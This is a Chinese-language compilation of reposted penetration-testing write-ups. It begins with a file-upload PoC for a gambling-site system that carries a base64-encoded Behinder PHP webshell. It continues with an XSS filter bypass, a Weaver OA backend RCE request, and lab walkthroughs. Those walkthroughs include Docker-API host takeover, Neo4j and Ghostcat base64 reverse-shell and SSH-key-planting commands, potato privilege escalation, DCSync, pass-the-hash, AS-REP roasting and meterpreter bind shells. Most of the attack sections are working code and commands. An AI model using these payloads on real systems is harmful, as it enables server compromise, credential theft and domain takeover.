网络dubo是指通过互联网手段(非法dubo网站、菠菜App、微信群等)进行的赌博活动。由于网络dubo不合法,资金不受法律保护,有很多“出老千”的行为,很多人被骗后往往不敢报警,导致家破人亡,所以打击dubo,刻不容缓。某菠菜系统系统存在任意文件上传漏洞,攻击者通过漏洞可以上传木马文件,导致服务器失陷

Image

0x02 漏洞复现

fofabody="main.e5ee9b2df05fc2d310734b11cc8c911e.css"

1.执行POC,上传冰蝎马,返回上传路径

POST //statics/admin/webuploader/0.1.5/server/preview.php HTTP/2
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Mon, 05 Sep 2022 01:19:50 GMT
If-None-Match: "63154eb6-273"
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==s

Image


2.冰蝎连接,得到一个webshell

冰蝎默认连接密码:rebeyond

Image


3.nuclei批量验证脚本已发表于知识星球(存在较多资产)

nuclei.exe -t bocaijngj_upload.yaml -l subs.txt -stats

Image


转载于原文链接: https://mp.weixin.qq.com/s?__biz=MzkyMTMwNjU1Mg==&mid=2247486261&idx=1&sn=2ea324e5b3b895bd500a509bd15ae90f&chksm=c184dfe2f6f356f47a5f80d045fac890227a508488b23898482ce4f9daa91feccc54d2f83629&scene=178&cur_album_id=2581677939042598912#rd


便便测试

0x01简介

流行病的影响,在新年假期里呆在家里很无聊。我去了一个平台检查人群测试项目,考虑为面具赚钱

1.png

0x02直接关闭

一开始,我试图直接关闭A标签,但发现输出将以物理方式编码,因此我放弃了

2.png

0x03 JavaScript伪pseudo协议

由于输出在A标签的HREF中,因此尝试伪协议,有效负载如下:

1Javascript:Alert(document.domain)提交后,发现输出内容已直接过滤。

3.png

经过几次尝试,将过滤绕过以下有效载荷,并成功弹出了窗口。

1Javastab; Script:Alert(1)4.png

但是,一个小的破碎弹出窗口如何证明伤害

0x04旁路限制到加载外部JS

我直接使用了XSshunter的有效载荷。提交点击后,我发现执行无法成功。

5.png

在仔细比较输出内容和原始内容之后,我发现在输出时,所有字符均以小写为单位。

6.png

在这里,我们首先了解XSS中的编码问题。在评估中支持Unicode编码。最终构造的有效载荷可以单独编码大写字母。

最终效果:

7.png

0x05报告结果

我认为至少可以陷入危险情况,但是制造商认为需要单击这一点才能进行互动,这给人以较低的风险。

上诉:评级时,请查看功能点,毕竟,这是需要单击的业务功能。

制造商的反馈:经过讨论,在JavaScript的开头很难使用恶意链接,因此评级是低风险的。

给爪子

某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化

ojnq5prt21t14907.jpg

溯源找到InterfaceRegisterCustomOperationCmd #excute

tilzfhlg3qw14911.jpgq0oxmgyccvs14915.jpgltooswhmyhi14918.jpgr2kdiruazx514922.jpg
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

eyzufmlts0114925.jpg

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

amoqh5hstpp14929.jpg

这里var14要为add

0xyjwebtbce14930.jpg

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

0yfbo2sdnxp14932.jpg

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

0ccuyqrcpxz14934.jpg

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

ovgndgck51w14936.jpg

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

vciezpr1mxz14939.jpg

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

mbmwzbcl1y214941.jpg

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

0k1ioy4rubn14945.jpg

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

cbhsgocnqwv14947.png



转载来自: https://xz.aliyun.com/t/11947

说明

Unauthorized是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

技术

FTP、Privilege Elevation、AD CS、Kerberos、域渗透

第一个flag

docker 未授权

通过外网信息收集,发现docker未授权

https://cloud.tencent.com/developer/article/1744943

xjxcto1pn2b14391.png

查看镜像

docker -H tcp://47.92.7.138:2375 images
a0zat0qdpvx14393.png

查看容器

docker -H tcp://47.92.7.138:2375 ps -a
vwfslauxbm314395.png

启动容器并将宿主机磁盘挂载到/mnt

docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04
0zeh0sqhw2y14397.png

写入公钥

在vps上生成秘钥,敲下回车后会有3个交互,第一个是文件名,默认是id_rsa,如需修改,自己输入一个文件名便可。第二与第三是密码与确认密码,是以后使用该公钥时要输入的密码,一般不设置,如有强烈的安全需求,自己设置便可。最后会生成两个文件id_rsa,id_rsa.pub。以.pub结尾的是公钥,另一个是私钥

ssh-keygen -t rsa
z2tbzzobbzg14399.png

将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中

cd /mnt/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys
i211tcrcdut14400.png

可以本地直接用私钥登录ssh

f01z021g3ca14401.png

查找flag,提示flag并不在这里

b02biunxwkn14402.png

mysql弱口令

查看本机开放的端口

netstat -aptn
r34u4qu1xvm14403.png

查看历史命令,找到mysql密码为123456,其实爆破也能爆破出来

history
mm02q2zmwln14404.png

访问mysql数据库

mysql -uroot -p123456

mysql> show databases;
mysql> use secret;
mysql> show tables;
mysql> select * from f1agggg01

获得第一个flag

3cvrvsmczm314405.png

‍第二个flag

横向渗透

上传npc设置代理,fscan扫描 172.22.7.0/24

172.22.7.67:8081 open
172.22.7.13:80 open
172.22.7.13:22 open
172.22.7.67:445 open
172.22.7.31:445 open
172.22.7.67:21 open
172.22.7.6:445 open
172.22.7.67:80 open
172.22.7.67:139 open
172.22.7.31:139 open
172.22.7.6:139 open
172.22.7.31:135 open
172.22.7.67:135 open
172.22.7.6:135 open
172.22.7.6:88 open
172.22.7.13:2375 open
[+] NetInfo:
[*]172.22.7.6
   [->]DC02
   [->]172.22.7.6
[*] 172.22.7.67          XIAORANG\WIN-9BMCSG0S  
[*] WebTitle:http://172.22.7.13        code:200 len:27170  title:某某装饰
[+] NetInfo:
[*]172.22.7.67
   [->]WIN-9BMCSG0S
   [->]172.22.7.67
[+] NetInfo:
[*]172.22.7.31
   [->]ADCS
   [->]172.22.7.31
[*] 172.22.7.31          XIAORANG\ADCS          
[*] 172.22.7.6     [+]DC XIAORANG\DC02          
[*] WebTitle:http://172.22.7.13:2375   code:404 len:29     title:None
[+] ftp://172.22.7.67:21:anonymous 
   [->]1-1P3201024310-L.zip
   [->]1-1P320102603C1.zip
   [->]1-1P320102609447.zip
   [->]1-1P320102615Q3.zip
   [->]1-1P320102621J7.zip
   [->]1-1P320102J30-L.zip
[*] WebTitle:http://172.22.7.67        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.7.67:8081   code:200 len:4621   title:公司管理后台
[+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce 
[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file
[+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak 

FTP未授权

发现了http://172.22.7.67:8081/www.zip 备份压缩包 ,解压后发现download的文件夹与匿名登录的ftp的共享文件一致

ll2lpcmwmqq14406.png

因此可以通过ftp上传 webshell

atnrkjepv5v14407.png

shell地址

http://172.22.7.67:8081/download/shell.asp
bo0jelxc3hp14408.png

直接使用土豆提权,上传SweetPotato.exe

SweetPotato.exe -a "whoami"
5ubk5neouyw14409.png

经测试3389是开启的,直接添加账号然后登录

SweetPotato.exe -a "net user devyn Admin@123 /add"
SweetPotato.exe -a "net localgroup administrators devyn /add"
mumwo3av4l214410.png

获取flag

bytuvurfb3j14411.png

‍第三个flag

注意此新建的用户无法执行域命令,所以需要查询到域账号,然后使用PTH登录,如果找到密码可以直接登录,其实也可以直接在shell中执行mimikatz抓取Hash,这边远程桌面使用cmd执行方便一点

抓取到了域账户 zhangfeng/FenzGTaVF6En,重新使用域账号登录,注意用户名要填写 zhangfeng@xiaorang.lab

sci4f1aelxf14412.png

shadow-credentials

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

以下账户拥有 msDS-KeyCredentialLink 属性的写入权限:

  • 域管理员账户
  • Key Admins 组中的账户
  • Enterprise Key Admins 组中的账户
  • 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
  • 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限

zhangfeng账户在Key Admins组中,具有写入权限

ed31si4uflm14413.png

向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials

Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab
e1ao525p12v14414.png

添加成功后,程序提示命令,基于证书的身份验证请求TGT票据,注意提示命令的最后加上 /ptt

sv3vyhwcp5a14415.png

域控制器账户拥有特权,可以使用 Mimikatz 执行 DCSync 来导出域管哈希

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
qmye3mt3j4v14416.png

哈希传递

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 Administrator@172.22.7.6
gwgowq4x24l14417.png
pgrr53ves0v14418.png

原文链接: https://zhuanlan.zhihu.com/p/581451146

0x1 Info

  • Tag:
    MSSQL,Privilege Escalation,Kerberos,域渗透,RDP
    image
    靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU

0x2 Recon

  1. Target external ip
    47.92.82.196
  2. nmap
    image
  3. MSSQL 弱口令爆破,爆破出有效凭据,权限为服务账户权限(MSSQLSERVER)
    sa:1qaz!QAZ
    image

0x3 入口点 MSSQL - 172.22.8.18

  • 前言,该机器不在域内
  1. 直接MSSQL shell(这里做完了忘记截图了..)
    image
  2. 提权,这里直接获取Clsid暴力怼potato(前面几个clsid是用不了的)

    修改GetClsid.ps1,添加执行potato
    image

    Potato和GetClsid.ps1
    image

    执行GetClsid.ps1
    image

    获取到有效clsid以及命令执行结果
    image
  3. 导出SAM,SYSTEM,Security
    image

    解出凭据,用administrator + psexec 139横向(外网没有开445)就能获取到 flag01
    administrator 2caf35bb4c5059a3d50599844e2b9b1f
    image
  4. qwinsta和端口连接看到有机器rdp过来
    image
    image
  5. 这边使用administrator psexec后上msf(system权限),使用incognito模块,模拟至john(本人实测,只有msf的incognito能完成后续操作,f-secure lab等其他的模拟令牌工具没成功)
    image
  6. 使用john的token执行 net use 看到 \\tsclient\C 共享
    image
  7. 直接获取 \\tsclient\C 下面的 credential.txt,同时提示 hijack image (镜像劫持)
    xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
    image
  • 快进,略过搭建代理过程
  1. CME 扫描 172.22.8.0/24,有三个机器提示密码过期了
    image
  2. 测试一下 DC01 88端口是否开启(测是否域控),DC01为域控
  3. smbpasswd.py 远程修改一下过期密码,改成111qqq...
    image
  4. ldapshell.py 验证,登录域成功
    image
  5. CME 枚举 RDP,显示能登录进入 172.22.8.46(用CME官方的RDP模块不会扫出有效RDP凭据,这边自己写了一个基于xfreerdp的CME模块)
    XiaoliChan/CrackMapExec-Extension
    image

0x4 域渗透 - 入口 - 172.22.8.46

  1. 登录进入,查看到 xiaorang.lab\Aldrich 不是这台机器的管理员,只是普通用户
  • 提权,两种方法

    Priv-ESC1:镜像劫持提权(常规)

    Get-ACL查看到任何用户都可以对注册表 "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" 进行写入,创建操作
    image

    创建一个劫持magnify.exe(放大镜)的注册表,执行CMD.exe
    image

    锁定用户
    image

    点击放大镜
    image

    提权至system
    image

    Priv-ESC2:krbrelayup提权

    域普通权限用户在域内机器,直接带走(非常规,推荐)
    image
    image
  1. 快进mimikatz,获取到当前机器的机器账户 win2016$
xiaorang.lab\WIN2016$ 4ba974f170ab0fe1a8a1eb0ed8f6fe1a

0x5 域渗透 - DC Takeover

  • 两种方法
  1. 观察 WIN2016$ 的组关系,发现处于 Domain Admins 组,直接使用 Dcsync 带走 DC01 (过程略)
    image
  2. 约束委派(非常规)

    Bloodhound收集域信息,分析,发现存在约束委派
    image

    使用 getST.py 进行约束委派攻击
    image

    带走 DC01
    image



原文链接: https://www.freebuf.com/articles/system/352237.html

说明

Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Neo4j、Kerberos、Privilege Elevation、域渗透

第一个flag

外网IP信息收集

start infoscan
(icmp) Target '39.98.236.25' is alive
icmp alive hosts len is: 1
39.98.236.25:22 open
39.98.236.25:1337 open
39.98.236.25:7474 open
39.98.236.25:7473 open
39.98.236.25:7687 open
39.98.236.25:35555 open
alive ports len is: 6
start vulscan
已完成 0/6 [-] webtitle http://39.98.236.25:7473 Get "http://39.98.236.25:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P"
[*] WebTitle:http://39.98.236.25:7474  code:200 len:145    title:None
[*] WebTitle:http://39.98.236.25:7687  code:400 len:0      title:None
[*] WebTitle:https://39.98.236.25:7687 code:400 len:0      title:None
已完成 6/6
scan end

neo4j 未授权RCE

Neo4j是一个开源图数据库管理系统。

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。

https://github.com/zwjjustdoit/CVE-2021-34371.jar

java -jar rhino_gadget.jar rmi://39.98.236.25:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R...NC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"
fjsh2z1zgch14364.png

反弹shell

oqfsglfj3wq14366.png

查找flag

dyziyyv2u1414368.png

获得第一个flag

jvnkavwpvnz14370.png

第二个flag

内网渗透

上传代理和fscan

start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.25     is alive
(icmp) Target 172.22.6.38     is alive
(icmp) Target 172.22.6.36     is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.36:22 open
172.22.6.38:22 open
172.22.6.36:7687 open
172.22.6.12:88 open
[*] alive ports len is: 11
start vulscan
[+] NetInfo:
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[+] NetInfo:
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] 172.22.6.12    [+]DC XIAORANG\DC-PROGAME        Windows Server 2016 Datacenter 14393
[*] 172.22.6.25          XIAORANG\WIN2019       
[*] 172.22.6.12  (Windows Server 2016 Datacenter 14393)
[*] WebTitle:http://172.22.6.38        code:200 len:1531   title:后台登录
[*] WebTitle:https://172.22.6.36:7687  code:400 len:50     title:None
已完成 11/11

sql注入

访问 http://172.22.6.38,是一个登录页面,抓取数据包

POST /index.php HTTP/1.1
Host: 172.22.6.38
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.22.6.38
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.22.6.38/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

username=admin&password=111111

使用sqlmap测试注入(过程略)

sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch 

获得第二个flag

hiwkcbfukwb14372.png

里面还有oa_admin表和oa_users表,把users表中的500个用户名收集成字典 username.txt

10jrrodcl2s14374.png

‍‍第三个flag

域用户枚举

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举

https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

kali中用代理一直执行不成功,不出现结果,把文件传到入口机器上,远程执行才出结果

vd3wcwqill314376.png

共有74个用户,做成字典 user.txt

4pikd33n0uq14378.png

AS-REPRoasting

对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

查找未设置预认证的账号

proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
xtcjxngipyv14380.png

得到两个账号 wenshao@xiaorang.lab 、zhangxin@xiaorang.lab

$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994

$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7

使用hashcat解密

hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt
czxxb45iojb14381.png
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt
3yydmacfkab14383.png

这样获得了两个账号和密码

zhangxin@xiaorang.lab/strawberry
wenshao@xiaorang.lab/hellokitty

域环境分析

使用域账号登录 172.22.6.25,上传SharpHound进行数据采集

mhsfp543bw214385.png
SharpHound.exe -c all

导出文件里面有多个json,保存着域内的各种关系

2zkfm5vjuqc14386.png

上传数据到BloodHound,点击Analysis,查找最短到达域管理员的路径

Find Shortest Paths to Domain Admins

路径由粗到细的那边,就是xx对xx具有的权限或者说关系,所以路径如下

ky0btkpufu214388.png

从BloodHound上可以知道下一步我们需要对yuxuan这个用户动手

windows自动登录

HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019

很多用户习惯将计算机设置自动登录,可以使用MSF抓取自动登录的用户名和密码

先生成一个正向的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe

然后上传到目标机器 win2019 (172.22.6.25)上运行

使用代理运行msf然后连接

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.6.25
run
gdivujtysfs14389.png

抓取自动登录的密码

meterpreter > run windows/gather/credentials/windows_autologin
da0qb5i5tck14392.png

我这里没抓到密码,做不下去了。

没办法只能看着别人的wp继续了。

抓密码得到yuxuan/Yuxuan7QbrgZ3L,ok现在我们就可以拿yuxuan登上WIN2019了

orxjhnjegta14394.png

哈希传递

HasSIDHistory:用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限

使用yuxuan这个用户抓Administrator的哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
fjynsmfpigu14396.png

smb横向WIN2019,获得第三个flag

proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
niwcnd3ogjp14398.png

原文链接: https://zhuanlan.zhihu.com/p/582525371

0x01 – Info

  • Tag: Tomcat,NTLM,WebClient,Coerce Authentication,noPac
    53iuzugpbv314239.png

0x02 – Recon

  1. Target external ip
     47.92.146.66
    
  1. Nmap results
    Focus on port 8009 (ajp) ,意味着是tomcat (对应了靶场的tomcat tag)
    njy0ewwgn4j14240.png
  2. 目录扫描,404页面显示为tomcat 9.0.30
    hezfp2ewn0l14241.png
  3. Playing with Ghost cat
    使用该项目测试
    https://github.com/00theway/Ghostcat-CNVD-2020-10487
    读取/web-inf/web.xml
    5dqfol4c3dq14243.png
    url-pattern 结果存为字典
    ipt3dljejus14244.png
    FFuf
    50d5abakafr14245.png
    关注uploadservlet
    alcsuijqj3c14247.png
    上传temp.txt
    0ssj1carr5b14248.png
    返回文件地址
    eebthlwkfso14249.png
     ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt
    

    替换 ./upload to /upload,成功读取到上传的文件

     python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read
    

    u2oezixff1w14250.png

 

0x03 – GhostCat命令执行

  1. 准备好 shell.txt
    icwhnar0di214253.png

    <% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(“</pre>“);%>

  1. 上传shell.txt
    opcbzg3hrch14254.png
  2. 执行上传的代码
    pcjorwlanmv14257.png
  3. SSH – flag01
    4csqknnshow14259.png

 

0x04 – 入口 Ubuntu: 172.22.11.76

  1. SSH
    ivqlz4xvcuv14261.png
  2. 没啥东西,直接过
